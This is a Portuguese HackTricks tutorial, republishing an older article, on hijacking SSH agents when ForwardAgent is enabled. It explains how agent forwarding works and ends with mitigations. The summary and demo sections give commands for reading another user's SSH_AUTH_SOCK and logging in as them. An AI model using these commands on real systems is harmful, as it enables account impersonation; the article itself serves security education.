Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
# Resumo
O que você pode fazer se descobrir dentro do `/etc/ssh_config` ou dentro de `$HOME/.ssh/config` esta configuração:
```
ForwardAgent yes
```
Se você é root dentro da máquina, provavelmente pode **acessar qualquer conexão ssh feita por qualquer agente** que você possa encontrar no diretório _/tmp_
Impersonate Bob usando um dos ssh-agent de Bob:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## Por que isso funciona?
Quando você define a variável `SSH_AUTH_SOCK`, você está acessando as chaves de Bob que foram usadas na conexão ssh de Bob. Então, se a chave privada dele ainda estiver lá (normalmente estará), você poderá acessar qualquer host usando-a.
Como a chave privada é salva na memória do agente sem criptografia, suponho que se você for Bob, mas não souber a senha da chave privada, ainda poderá acessar o agente e usá-lo.
Outra opção é que o usuário proprietário do agente e o root podem ser capazes de acessar a memória do agente e extrair a chave privada.
# Explicação detalhada e exploração
**Sirva este post como uma máquina do tempo do post agora deletado de:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
## **Quando ForwardAgent não pode ser confiável**
SSH sem senhas facilita a vida com sistemas operacionais semelhantes ao Unix. Se sua rede requer sessões ssh encadeadas (para acessar uma rede restrita, por exemplo), o encaminhamento do agente se torna extremamente útil. Com o encaminhamento do agente, é possível conectar-se do meu laptop ao meu servidor de desenvolvimento e, a partir daí, executar um checkout svn de outro servidor, tudo sem senhas, mantendo minha chave privada segura em minha estação de trabalho local.
No entanto, isso pode ser perigoso. Uma rápida pesquisa na web revelará vários artigos indicando que isso é seguro apenas se os hosts intermediários forem confiáveis. No entanto, raramente você encontrará uma explicação do _porquê_ é perigoso.
É para isso que este artigo serve. Mas primeiro, um pouco de contexto.
## **Como a Autenticação sem Senha Funciona**
Ao autenticar no modo normal, o SSH usa sua senha para provar que você é quem diz ser. O servidor compara um hash dessa senha com um que ele tem em arquivo, verifica se os hashes correspondem e permite sua entrada.
Se um atacante conseguir quebrar a criptografia usada para proteger sua senha enquanto ela está sendo enviada para o servidor, ele pode roubá-la e fazer login como você sempre que desejar. Se um atacante puder realizar centenas de milhares de tentativas, eventualmente poderá adivinhar sua senha.
Um método de autenticação muito mais seguro é a [autenticação de chave pública](http://www.ibm.com/developerworks/library/l-keyc/index.html), uma forma de fazer login sem senha. A autenticação de chave pública requer um par correspondente de chaves pública e privada. A chave pública criptografa mensagens que só podem ser descriptografadas com a chave privada. O computador remoto usa sua cópia da sua chave pública para criptografar uma mensagem secreta para você. Você prova que é você descriptografando a mensagem usando sua chave privada e enviando a mensagem de volta para o computador remoto. Sua chave privada permanece segura em seu computador local o tempo todo, protegida contra ataques.
A chave privada é valiosa e deve ser protegida, então por padrão ela é armazenada em um formato criptografado. Infelizmente, isso significa inserir sua frase de senha de criptografia antes de usá-la. Muitos artigos sugerem usar chaves privadas sem frase de senha (não criptografadas) para evitar esse inconveniente. Isso é uma má ideia, pois qualquer pessoa com acesso à sua estação de trabalho (via acesso físico, roubo ou hackeamento) agora também tem acesso livre a quaisquer computadores configurados com sua chave pública.
O OpenSSH inclui o [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), um daemon que é executado em sua estação de trabalho local. Ele carrega uma cópia descriptografada de sua chave privada na memória, para que você só precise inserir sua frase de senha uma vez. Em seguida, ele fornece um [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) local que o cliente ssh pode usar para pedir a ele para descriptografar a mensagem criptografada enviada de volta pelo servidor remoto. Sua chave privada permanece seguramente protegida na memória do processo ssh-agent, permitindo que você faça ssh sem digitar senhas.
## **Como o ForwardAgent Funciona**
Muitas tarefas exigem sessões ssh "encadeadas". Considere meu exemplo anterior: eu faço ssh da minha estação de trabalho para o servidor de desenvolvimento. Enquanto estiver lá, preciso realizar uma atualização svn, usando o protocolo "svn+ssh". Como seria bobo deixar uma cópia não criptografada da minha supersecreta chave privada em um servidor compartilhado, agora estou preso com autenticação por senha. No entanto, se eu habilitar o "ForwardAgent" na configuração ssh da minha estação de trabalho, o ssh usa suas capacidades de tunelamento embutidas para criar outro socket no servidor de desenvolvimento que é tunelado de volta para o socket do ssh-agent em minha estação de trabalho local. Isso significa que o cliente ssh no servidor de desenvolvimento agora pode enviar solicitações de "descriptografar esta mensagem secreta" diretamente de volta para o ssh-agent em execução em minha estação de trabalho, autenticando-se no servidor svn sem nunca ter acesso à minha chave privada.
## **Por que Isso Pode Ser Perigoso**
Simplesmente, qualquer pessoa com privilégios de root no servidor intermediário pode usar livremente seu ssh-agent para se autenticar em outros servidores. Uma simples demonstração mostra o quão trivialmente isso pode ser feito. Os nomes de host e usuários foram alterados para proteger os inocentes.
Meu laptop está executando o ssh-agent, que se comunica com os programas clientes ssh por meio de um socket. O caminho para este socket é armazenado na variável de ambiente SSH\_AUTH\_SOCK:
```
mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
```
O programa [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) nos permite visualizar e interagir com chaves no agente:
```
mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
```
Eu tenho "ForwardAgent yes" no \~/.ssh/config no meu laptop. Então o ssh vai criar um túnel conectando o socket local a um socket local no servidor remoto:
```
mylaptop:~ alice$ ssh seattle
seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
```
Mesmo que minhas chaves não estejam instaladas em "seattle", os programas cliente ssh ainda conseguem acessar o agente em execução em minha máquina local:
```
seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
```
Então... com quem podemos mexer?
```
seattle:~ alice $ who
alice pts/0 2012-04-06 18:24 (office.example.com)
bob pts/1 2012-04-03 01:29 (office.example.com)
alice pts/3 2012-04-06 18:31 (office.example.com)
alice pts/5 2012-04-06 18:31 (office.example.com)
alice pts/6 2012-04-06 18:33 (office.example.com)
charlie pts/23 2012-04-06 13:10 (office.example.com)
charlie pts/27 2012-04-03 12:32 (office.example.com)
bob pts/29 2012-04-02 10:58 (office.example.com)
```
Nunca gostei do Bob. Para encontrar a conexão do agente dele, preciso encontrar o processo filho de uma das sessões ssh dele:
```
seattle:~ alice $ sudo -s
[sudo] password for alice:
seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)
sshd(25296)───bash(25297)───vim(14308)
```
Existem várias maneiras para o root visualizar o ambiente de um processo em execução. No Linux, os dados estão disponíveis em /proc//environ. Como eles são armazenados em strings terminadas por NULL, vou usar o tr para converter os NULLs em novas linhas:
```
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
```
Agora tenho tudo o que preciso saber para sequestrar o ssh-agent do Bob:
```
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
```
Se eu tiver um alvo específico em mente, agora devo ser capaz de me conectar diretamente. Caso contrário, apenas observar a lista de processos ou pesquisar no arquivo de histórico do Bob deve apresentar muitos alvos de oportunidade. Neste caso, eu sei que o Bob tem todos os tipos de arquivos super secretos armazenados no servidor chamado "boston":
```
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob
```
## **Proteja-se!**
Não permita que seu ssh-agent armazene suas chaves indefinidamente. No OS X, configure sua Keychain para bloquear após inatividade ou quando a tela é bloqueada. Em outras plataformas Unix, passe a opção -t para o ssh-agent para que suas chaves sejam removidas após segundos.
Não habilite o encaminhamento do agente ao se conectar a hosts não confiáveis. Felizmente, a sintaxe \~/.ssh/config torna isso bastante simples:
```
Host trustworthyhost
ForwardAgent yes
```
```
Host *
ForwardAgent no
```
## **Leitura Recomendada**
* [Gerenciamento de chaves OpenSSH](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins
* [Um Guia Ilustrado para Encaminhamento de Agente SSH](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
* [Manual do ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
* [Manual do ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.